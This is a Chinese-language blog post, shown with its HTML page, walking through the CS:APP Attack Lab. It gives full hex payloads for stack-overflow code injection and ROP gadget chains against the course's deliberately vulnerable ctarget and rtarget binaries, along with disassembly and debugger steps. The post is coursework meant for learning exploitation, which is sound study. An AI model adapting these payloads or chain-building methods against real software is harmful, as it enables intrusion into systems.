<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="32x32" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="16x16" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="mask-icon" href="https://www.hualigs.cn/image/6015799666530.jpg" color="#222">
  <link rel="manifest" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <meta name="msapplication-config" content="https://www.hualigs.cn/image/6015799666530.jpg">

<link rel="stylesheet" href="/diazang/css/main.css">


<link rel="stylesheet" href="/diazang/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"jue-xian.gitee.io","root":"/diazang/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":true,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="my third week challenge  attack lab">
<meta property="og:type" content="article">
<meta property="og:title" content="csapppp_attacklab">
<meta property="og:url" content="https://jue-xian.gitee.io/diazang/2021/04/17/csapppp-attacklab/index.html">
<meta property="og:site_name" content="RUBIA">
<meta property="og:description" content="my third week challenge  attack lab">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/1433829-d6312f1ce53cf044.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/754/format/webp">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/1433829-2a663eb32fae331a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/574/format/webp">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/1433829-c713c395456655fa.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/621/format/webp">
<meta property="og:image" content="https://upload-images.jianshu.io/upload_images/1433829-67690582e19e902b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/586/format/webp">
<meta property="article:published_time" content="2021-04-17T03:09:22.000Z">
<meta property="article:modified_time" content="2021-04-17T08:29:12.696Z">
<meta property="article:author" content="H.R.P">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://upload-images.jianshu.io/upload_images/1433829-d6312f1ce53cf044.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/754/format/webp">

<link rel="canonical" href="https://jue-xian.gitee.io/diazang/2021/04/17/csapppp-attacklab/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>csapppp_attacklab | RUBIA</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

<link rel="alternate" href="/diazang/atom.xml" title="RUBIA" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/diazang/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">RUBIA</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/diazang/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/diazang/about/" rel="section"><i class="fa fa-user fa-fw"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/diazang/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/diazang/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/diazang/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
        <li class="menu-item menu-item-schedule">

    <a href="/diazang/schedule/" rel="section"><i class="fa fa-calendar fa-fw"></i>日程表</a>

  </li>
        <li class="menu-item menu-item-sitemap">

    <a href="/diazang/sitemap.xml" rel="section"><i class="fa fa-sitemap fa-fw"></i>站点地图</a>

  </li>
        <li class="menu-item menu-item-commonweal">

    <a href="/diazang/404/" rel="section"><i class="fa fa-heartbeat fa-fw"></i>公益 404</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://jue-xian.gitee.io/diazang/2021/04/17/csapppp-attacklab/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="https://www.hualigs.cn/image/6015786be4309.jpg">
      <meta itemprop="name" content="H.R.P">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="RUBIA">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          csapppp_attacklab
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2021-04-17 11:09:22 / 修改时间：16:29:12" itemprop="dateCreated datePublished" datetime="2021-04-17T11:09:22+08:00">2021-04-17</time>
            </span>

          
  
  <span class="post-meta-item">
    
      <span class="post-meta-item-icon">
        <i class="far fa-comment"></i>
      </span>
      <span class="post-meta-item-text">Valine：</span>
    
    <a title="valine" href="/diazang/2021/04/17/csapppp-attacklab/#valine-comments" itemprop="discussionUrl">
      <span class="post-comments-count valine-comment-count" data-xid="/diazang/2021/04/17/csapppp-attacklab/" itemprop="commentCount"></span>
    </a>
  </span>
  
  

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p>my third week challenge </p>
<p>attack lab</p>
<a id="more"></a>

<p><code>cookie.txt</code> 一个8为16进行数，作为攻击的特殊标志符</p>
<p><code>farm.c</code> 在ROP攻击中作为gadgets的产生源</p>
<p><code>ctarget</code> 代码注入攻击的目标文件</p>
<p><code>rtarget</code> ROP攻击的目标文件</p>
<p><code>hex2row</code> 将16进制数转化为攻击字符，因为有些字符在屏幕上面无法输入，所以输入该字符的16进制数，自动转化为该字符</p>
<p>执行</p>
<p>./hex2raw -i 文件名 | ./ctarget -q</p>
<p>可以验证答案是否正确</p>
<h2 id="touch1"><a href="#touch1" class="headerlink" title="touch1"></a>touch1</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">void __cdecl test()</span><br><span class="line">&#123;</span><br><span class="line">  unsigned int v0; &#x2F;&#x2F; eax</span><br><span class="line"></span><br><span class="line">  v0 &#x3D; getbuf();</span><br><span class="line">  __printf_chk(1LL, &quot;No exploit.  Getbuf returned 0x%x\n&quot;, v0);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>调用test之后调用getbuf</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">unsigned int __cdecl getbuf()</span><br><span class="line">&#123;</span><br><span class="line">  char buf[32]; &#x2F;&#x2F; [rsp+0h] [rbp-28h] BYREF</span><br><span class="line"></span><br><span class="line">  Gets(buf);</span><br><span class="line">  return 1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>可以看见用的是gets函数可以无限读取造成溢出</p>
<p>buf距离返回地址0x28</p>
<p>touch1要求就是溢出跳转到touch1这里</p>
<p>因为文件的特殊性不能直接运行无法用pwntools模块搞定要配合给的hex2row文件</p>
<p>虽然buf距离返回地址0x28但是buf只有32大小所以我们传入40个字 在传入我们的地址0x4017c0</p>
<p>构造如下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">c0 17 40 00 00 00 00 00</span><br></pre></td></tr></table></figure>


<h2 id="touch2"><a href="#touch2" class="headerlink" title="touch2"></a>touch2</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">void __fastcall __noreturn touch2(unsigned int val)</span><br><span class="line">&#123;</span><br><span class="line">  vlevel &#x3D; 2;</span><br><span class="line">  if ( val &#x3D;&#x3D; cookie )</span><br><span class="line">  &#123;</span><br><span class="line">    __printf_chk(1LL, &quot;Touch2!: You called touch2(0x%.8x)\n&quot;, val);</span><br><span class="line">    validate(2);</span><br><span class="line">  &#125;</span><br><span class="line">  else</span><br><span class="line">  &#123;</span><br><span class="line">    __printf_chk(1LL, &quot;Misfire: You called touch2(0x%.8x)\n&quot;, val);</span><br><span class="line">    fail(2);</span><br><span class="line">  &#125;</span><br><span class="line">  exit(0);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>比较cookie值 cookie是0x59b997fa</p>
<p>利用溢出跳转到函数touch2并且传入cookie值</p>
<p>我们需要用到汇编语言编写命令</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">movq    $0x59b997fa, %rdi</span><br><span class="line">pushq   0x4017ec</span><br><span class="line">ret</span><br></pre></td></tr></table></figure>
<p>rdi里面存放我们cookie的值</p>
<p>0x4017ec在ida是完成压栈命令</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">00000000004017EC                 sub     rsp, 8</span><br></pre></td></tr></table></figure>
<p>我们将命令转为二进制文件</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">q@ubuntu:~$ gcc -c 2.s</span><br><span class="line">q@ubuntu:~$ objdump -d 2.o</span><br><span class="line"></span><br><span class="line">2.o:     file format elf64-x86-64</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Disassembly of section .text:</span><br><span class="line"></span><br><span class="line">0000000000000000 &lt;.text&gt;:</span><br><span class="line">   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi</span><br><span class="line">   7:	ff 34 25 ec 17 40 00 	pushq  0x4017ec</span><br><span class="line">   e:	c3                   	retq   </span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>我们还需要知道栈指针的初始指向地址 从这个地方开始传入数据，所以要查看rsp</p>
<p>用gdb断点打在getbuf</p>
<p>用命令p/x $rsp</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; p &#x2F;x $rsp</span><br><span class="line">$1 &#x3D; 0x5561dc78</span><br></pre></td></tr></table></figure>
<p>我们需要传入的字符如下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">48 c7 c7 fa 97 b9 59 68 ec 17 </span><br><span class="line">40 00 c3 00 00 00 00 00 00 00 </span><br><span class="line">00 00 00 00 00 00 00 00 00 00 </span><br><span class="line">00 00 00 00 00 00 00 00 00 00 </span><br><span class="line">78 dc 61 55 00 00 00 00 </span><br></pre></td></tr></table></figure>
<h2 id="touch3"><a href="#touch3" class="headerlink" title="touch3"></a>touch3</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">void __fastcall __noreturn touch3(char *sval)</span><br><span class="line">&#123;</span><br><span class="line">  vlevel &#x3D; 3;</span><br><span class="line">  if ( hexmatch(cookie, sval) )</span><br><span class="line">  &#123;</span><br><span class="line">    __printf_chk(1LL, &quot;Touch3!: You called touch3(\&quot;%s\&quot;)\n&quot;, sval);</span><br><span class="line">    validate(3);</span><br><span class="line">  &#125;</span><br><span class="line">  else</span><br><span class="line">  &#123;</span><br><span class="line">    __printf_chk(1LL, &quot;Misfire: You called touch3(\&quot;%s\&quot;)\n&quot;, sval);</span><br><span class="line">    fail(3);</span><br><span class="line">  &#125;</span><br><span class="line">  exit(0);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>调用hexmatch如下 去对比传入值和cookie是不是一样的</p>
<p>不过要注意strncmp()是字符串的比对我们还要用</p>
<p>man ascil查看cookie对应的16进制ASCII码</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">int __fastcall hexmatch(unsigned int val, char *sval)</span><br><span class="line">&#123;</span><br><span class="line">  const char *v2; &#x2F;&#x2F; rbx</span><br><span class="line">  char cbuf[110]; &#x2F;&#x2F; [rsp+0h] [rbp-98h] BYREF</span><br><span class="line">  unsigned __int64 v5; &#x2F;&#x2F; [rsp+78h] [rbp-20h]</span><br><span class="line"></span><br><span class="line">  v5 &#x3D; __readfsqword(0x28u);</span><br><span class="line">  v2 &#x3D; &amp;cbuf[random() % 100];</span><br><span class="line">  __sprintf_chk(v2, 1LL, -1LL, &quot;%.8x&quot;, val);</span><br><span class="line">  return strncmp(sval, v2, 9uLL) &#x3D;&#x3D; 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>我们从touch2可以知道起始栈地址是0x5561dc78</p>
<p>0x28+8=48</p>
<p>0x5561dc78+48=0x5561dca8这个就是我们字符串进行的地址啦</p>
<p>汇编编写</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">movq    $0x5561dca8, %rdi</span><br><span class="line">pushq   0x4018fa</span><br><span class="line">ret</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">q@ubuntu:~$ objdump -d 3.o</span><br><span class="line"></span><br><span class="line">3.o:     file format elf64-x86-64</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Disassembly of section .text:</span><br><span class="line"></span><br><span class="line">0000000000000000 &lt;.text&gt;:</span><br><span class="line">   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi</span><br><span class="line">   7:	ff 34 25 fa 18 40 00 	pushq  0x4018fa</span><br><span class="line">   e:	c3                   	retq   </span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>综上所述得到注入字符</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">48 c7 c7 a8 dc 61 55 68 fa 18 </span><br><span class="line">40 00 c3 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">78 dc 61 55 00 00 00 00 35 39</span><br><span class="line">62 39 39 37 66 61 00</span><br></pre></td></tr></table></figure>
<h2 id="rop攻击"><a href="#rop攻击" class="headerlink" title="rop攻击"></a>rop攻击</h2><h3 id="touch-2"><a href="#touch-2" class="headerlink" title="touch 2"></a>touch 2</h3><p>这次我们不直接从栈上去攻击</p>
<p>而是利用程序现有的汇编片段去构建完整的汇编指令</p>
<p>输入objdump -d rtarget 可以看见ctarget汇编片段</p>
<p>本题需要构造的汇编代码</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">popq %rax</span><br><span class="line">movq %rax, %rdi</span><br></pre></td></tr></table></figure>
<p>汇编码如下</p>
<p><img src="https://upload-images.jianshu.io/upload_images/1433829-d6312f1ce53cf044.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/754/format/webp"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/1433829-2a663eb32fae331a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/574/format/webp"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/1433829-c713c395456655fa.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/621/format/webp"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/1433829-67690582e19e902b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/586/format/webp">)</p>
<p>popq %rax 58</p>
<p>movq %rax, %rdi 48 89 c7</p>
<p>如下rax要的包含在这 我们可以得到0x4019ab就是popq %rax</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">00000000004019a7 &lt;addval_219&gt;:</span><br><span class="line">  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax</span><br><span class="line">  4019ad:	c3                   	retq   </span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>如下是mov的</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019a0 &lt;addval_273&gt;:</span><br><span class="line">  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax</span><br><span class="line">  4019a6:	c3                   	retq   </span><br></pre></td></tr></table></figure>
<p>movq %rax, %rdi就是0x4019a2</p>
<p>so 我们得到的注入字符</p>
<p>填充40个字，然后popq %rax</p>
<p>传入cookie，接着让rdi指向rax指向的地址</p>
<p>最后call touch2</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">ab 19 40 00 00 00 00 00</span><br><span class="line">fa 97 b9 59 00 00 00 00</span><br><span class="line">a2 19 40 00 00 00 00 00</span><br><span class="line">ec 17 40 00 00 00 00 00</span><br></pre></td></tr></table></figure>


<h3 id="touch3-1"><a href="#touch3-1" class="headerlink" title="touch3"></a>touch3</h3><p>虽然是rop攻击但是整体思路不算变化太大，但是这里找地址传参的话要注意栈地址是随机的 我们还要多加一步找字符串的偏移量</p>
<p>1.获取rsp指向地址传给rdi</p>
<p>2.找偏移地址送到rsi</p>
<p>3.lea (%rdi,%rsi,1),%rax,将字符串的首地址传送到%rax, 再传送到%rdi</p>
<p>4.call touch3</p>
<p>获取rsp然后给到rax再把rax传到rdi完成第一步</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0000000000401a03 &lt;addval_190&gt;:</span><br><span class="line">  401a03: 8d 87 41 48 89 e0     lea    -0x1f76b7bf(%rdi),%eax</span><br><span class="line">  401a09: c3  </span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019a0 &lt;addval_273&gt;:</span><br><span class="line">  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax</span><br><span class="line">  4019a6: c3</span><br></pre></td></tr></table></figure>
<p>movq %rsp, %rax 0x401a06</p>
<p>movq %rax, %rdi  0x4019a2</p>
<p>接着把偏移pop到rax</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019ca &lt;getval_280&gt;:</span><br><span class="line">  4019ca: b8 29 58 90 c3        mov    $0xc3905829,%eax</span><br><span class="line">  4019cf: c3   </span><br></pre></td></tr></table></figure>
<p>popq %rax 0x4019cc</p>
<p>接着将eax传到edx</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019db &lt;getval_481&gt;:</span><br><span class="line">  4019db: b8 5c 89 c2 90        mov    <span class="variable">$0x90c2895c</span>,%eax</span><br><span class="line">  4019e0: c3  </span><br></pre></td></tr></table></figure>
<p>movl %eax, %edx  0x4019dd</p>
<p>把edx给ecx</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0000000000401a6e &lt;setval_167&gt;:</span><br><span class="line">  401a6e: c7 07 89 d1 91 c3     movl   <span class="variable">$0xc391d189</span>,(%rdi)</span><br><span class="line">  401a74: c3  </span><br></pre></td></tr></table></figure>
<p>movl %edx, %ecx  0x401a70</p>
<p>把ecx给esi</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0000000000401a11 <span class="tag">&lt;<span class="name">addval_436</span>&gt;</span>:</span><br><span class="line">  401a11: 8d 87 89 ce 90 90     lea    -0x6f6f3177(%rdi),%eax</span><br><span class="line">  401a17: c3                    retq </span><br></pre></td></tr></table></figure>


<p>movl %ecx, %esi   0x401a13</p>
<p>将栈顶+偏移量得到字符串首地址给到rax</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019d6 <span class="tag">&lt;<span class="name">add_xy</span>&gt;</span>:</span><br><span class="line">  4019d6: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax</span><br><span class="line">  4019da: c3                    retq </span><br></pre></td></tr></table></figure>
<p>0x4019d6</p>
<p>然后把rax传到rdi</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019a0 <span class="tag">&lt;<span class="name">addval_273</span>&gt;</span>:</span><br><span class="line">  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax</span><br><span class="line">  4019a6: c3</span><br></pre></td></tr></table></figure>
<p>movq %rax, %rdi  0x4019a2</p>
<p>综上所述得到字符串</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">06 1a 40 00 00 00 00 00 </span><br><span class="line">a2 19 40 00 00 00 00 00 </span><br><span class="line">cc 19 40 00 00 00 00 00 </span><br><span class="line">48 00 00 00 00 00 00 00 </span><br><span class="line">dd 19 40 00 00 00 00 00 </span><br><span class="line">70 1a 40 00 00 00 00 00 </span><br><span class="line">13 1a 40 00 00 00 00 00 </span><br><span class="line">d6 19 40 00 00 00 00 00 </span><br><span class="line">a2 19 40 00 00 00 00 00 </span><br><span class="line">fa 18 40 00 00 00 00 00 </span><br><span class="line">35 39 62 39 39 37 66 61 00</span><br></pre></td></tr></table></figure>
    </div>

    
    
    

      <footer class="post-footer">

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/diazang/2021/04/13/srop%E5%9F%BA%E6%9C%AC/" rel="prev" title="srop基本利用">
      <i class="fa fa-chevron-left"></i> srop基本利用
    </a></div>
      <div class="post-nav-item">
    <a href="/diazang/2021/04/17/%E9%AB%98%E6%95%B0A2%E7%AC%AC%E5%85%AB%E7%AB%A0%E7%AC%94%E8%AE%B0/" rel="next" title="高数A2第八章笔记">
      高数A2第八章笔记 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          
    <div class="comments" id="valine-comments"></div>

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
